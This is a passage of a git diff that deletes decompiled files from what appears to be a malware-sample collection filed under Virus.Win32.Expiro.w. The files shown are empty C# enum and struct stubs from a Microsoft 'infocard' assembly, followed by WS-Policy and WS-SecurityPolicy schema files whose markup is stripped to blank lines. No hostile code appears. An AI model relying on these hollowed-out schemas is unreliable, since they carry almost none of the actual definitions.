tag_WBEM_GENERIC_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_GENUS_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_GENUS_TYPE.cs deleted file mode 100644 index c816ead4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_GENUS_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_GENUS_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tag_WBEM_GENUS_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_INFORMATION_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_INFORMATION_FLAG_TYPE.cs deleted file mode 100644 index 9d9674b3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_INFORMATION_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_INFORMATION_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tag_WBEM_INFORMATION_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_LIMITATION_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_LIMITATION_FLAG_TYPE.cs deleted file mode 100644 index c03b0aae..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_LIMITATION_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_LIMITATION_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tag_WBEM_LIMITATION_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_LIMITS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_LIMITS.cs deleted file mode 100644 index 938a34ba..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_LIMITS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_LIMITS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tag_WBEM_LIMITS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_LOCKING.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_LOCKING.cs deleted file mode 100644 index 1dfebcec..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_LOCKING.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_LOCKING -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tag_WBEM_LOCKING -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_QUERY_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_QUERY_FLAG_TYPE.cs deleted file mode 100644 index ae1abf3f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_QUERY_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_QUERY_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tag_WBEM_QUERY_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_REFRESHER_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_REFRESHER_FLAGS.cs deleted file mode 100644 index 9de8ec15..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_REFRESHER_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_REFRESHER_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tag_WBEM_REFRESHER_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_SECURITY_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_SECURITY_FLAGS.cs deleted file mode 100644 index 00ebb802..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_SECURITY_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_SECURITY_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tag_WBEM_SECURITY_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_SHUTDOWN_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_SHUTDOWN_FLAGS.cs deleted file mode 100644 index b55dc4ee..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_SHUTDOWN_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_SHUTDOWN_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tag_WBEM_SHUTDOWN_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_STATUS_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_STATUS_TYPE.cs deleted file mode 100644 index 6b907384..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_STATUS_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_STATUS_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tag_WBEM_STATUS_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_TEXT_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_TEXT_FLAG_TYPE.cs deleted file mode 100644 index 1c6cfcd2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_TEXT_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_TEXT_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tag_WBEM_TEXT_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_TIMEOUT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_TIMEOUT_TYPE.cs deleted file mode 100644 index f42a2b2c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_TIMEOUT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_TIMEOUT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tag_WBEM_TIMEOUT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_UNSECAPP_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_UNSECAPP_FLAG_TYPE.cs deleted file mode 100644 index e60a9743..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_UNSECAPP_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_UNSECAPP_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tag_WBEM_UNSECAPP_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WMI_OBJ_TEXT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WMI_OBJ_TEXT.cs deleted file mode 100644 index ad73c8c9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WMI_OBJ_TEXT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WMI_OBJ_TEXT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tag_WMI_OBJ_TEXT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tm.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tm.cs deleted file mode 100644 index 938d1d62..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tm.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tm -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 36)] -internal struct tm -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-identity-2007.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-identity-2007.xsd deleted file mode 100644 index 2740c95b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-identity-2007.xsd +++ /dev/null @@ -1,26 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-policy-2007.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-policy-2007.xsd deleted file mode 100644 index d2de4d0d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-policy-2007.xsd +++ /dev/null @@ -1,141 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-policy.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-policy.xsd deleted file mode 100644 index e5faa306..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-policy.xsd +++ /dev/null @@ -1,118 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-securitypolicy-1/2.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-securitypolicy-1/2.xsd deleted file mode 100644 index a70f4d62..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-securitypolicy-1/2.xsd +++ /dev/null @@ -1,1113 +0,0 @@ - - - - - - - - - - - - - 4.1.1 SignedParts Assertion - - - - - - - 4.2.1 EncryptedParts Assertion - - - - - - - - - - - - - - - - - - - - - - 4.1.2 SignedElements Assertion - - - - - - - 4.2.2 EncryptedElements Assertion - - - - - - - 4.3.1 RequiredElements Assertion - - - - - - - - - - - - - - - - - 5.1 Token Inclusion - - - - - - - - - - - - - - - - - - - - 5.3.1 UsernameToken Assertion - - - - - - - - - - - - - - - - 5.3.1 UsernameToken Assertion - - - - - - - 5.3.1 UsernameToken Assertion - - - - - - - 5.3.1 UsernameToken Assertion - - - - - - - 5.3.1 UsernameToken Assertion - - - - - - - - - - - - - - - 5.3.2 IssuedToken Assertion - - - - - - - - - - - - - - - - - - - - - - - - - 5.3.2 IssuedToken Assertion - - - - - - - 5.3.2 IssuedToken Assertion - - - - - - - 5.3.2 IssuedToken Assertion - - - - - - - 5.3.2 IssuedToken Assertion - - - - - - - 5.3.2 IssuedToken Assertion - - - - - - - - 5.3.3 X509Token Assertion - - - - - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - - 5.3.4 KerberosToken Assertion - - - - - - - - - - - - 5.3.4 KerberosToken Assertion - - - - - - - 5.3.4 KerberosToken Assertion - - - - - - - - 5.3.5 SpnegoContextToken Assertion - - - - - - - - - - - - - - - - - - - - 5.3.6 SecurityContextToken Assertion - - - - - - - - - - - 5.3.6 SecurityContextToken Assertion - - - - - - - 5.3.6 SecurityContextToken Assertion - - - - - - - - 5.3.7 SecureConversationToken Assertion - - - - - - - - - - - - - - - - - - - - - - 5.3.7 SecureConversationToken Assertion - - - - - - - - 5.3.8 SamlToken Assertion - - - - - - - - - - - - 5.3.8 SamlToken Assertion - - - - - - - 5.3.8 SamlToken Assertion - - - - - - - 5.3.8 SamlToken Assertion - - - - - - - - 5.3.9 RelToken Assertion - - - - - - - - - - - - 5.3.9 RelToken Assertion - - - - - - - 5.3.9 RelToken Assertion - - - - - - - 5.3.9 RelToken Assertion - - - - - - - 5.3.9 RelToken Assertion - - - - - - - - 5.3.10 HttpsToken Assertion - - - - - - - 5.3.10 HttpsToken Assertion - - - - - - - 5.3.10 HttpsToken Assertion - - - - - - - 5.3.10 HttpsToken Assertion - - - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - - - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - - 7.2 Layout Assertion - - - - - - - - 7.2 Layout Assertion - - - - - - - 7.2 Layout Assertion - - - - - - - 7.2 Layout Assertion - - - - - - - 7.2 Layout Assertion - - - - - - - - 7.3 TransportBinding Assertion - - - - - - - - 7.3 TransportBinding Assertion - - - - - - - - - - 7.3 TransportBinding Assertion - - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - 8=7.4 SymmetricBinding Assertion - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - - - - - - - - - 8.1 SupportingTokens Assertion - - - - - - - - - - - - - 8.2 SignedSupportingTokens Assertion - - - - - - - - - - - - - 8.3 EndorsingSupportingTokens Assertion - - - - - - - - - - - - - 8.4 SignedEndorsingSupportingTokens Assertion - - - - - - - - - - - - - 8.5 SignedEncryptedSupportingTokens Assertion - - - - - - - - - - - - - 8.6 EndorsingEncryptedSupportingTokens Assertion - - - - - - - - - - - - - 8.7 SignedEndorsingEncryptedSupportingTokens Assertion - - - - - - - - - - - - - - 9.1 Wss10 Assertion - - - - - - - - 9.1 Wss10 Assertion - - - - - - - 9.1 Wss10 Assertion - - - - - - - 9.1 Wss10 Assertion - - - - - - - 9.1 Wss10 Assertion - - - - - - - - 9.2 Wss11 Assertion - - - - - - - - - - - - 9.2 Wss11 Assertion - - - - - - - 9.2 Wss11 Assertion - - - - - - - 9.2 Wss11 Assertion - - - - - - - - - 10.1 Trust10 Assertion - - - - - - - - 10.1 Trust10 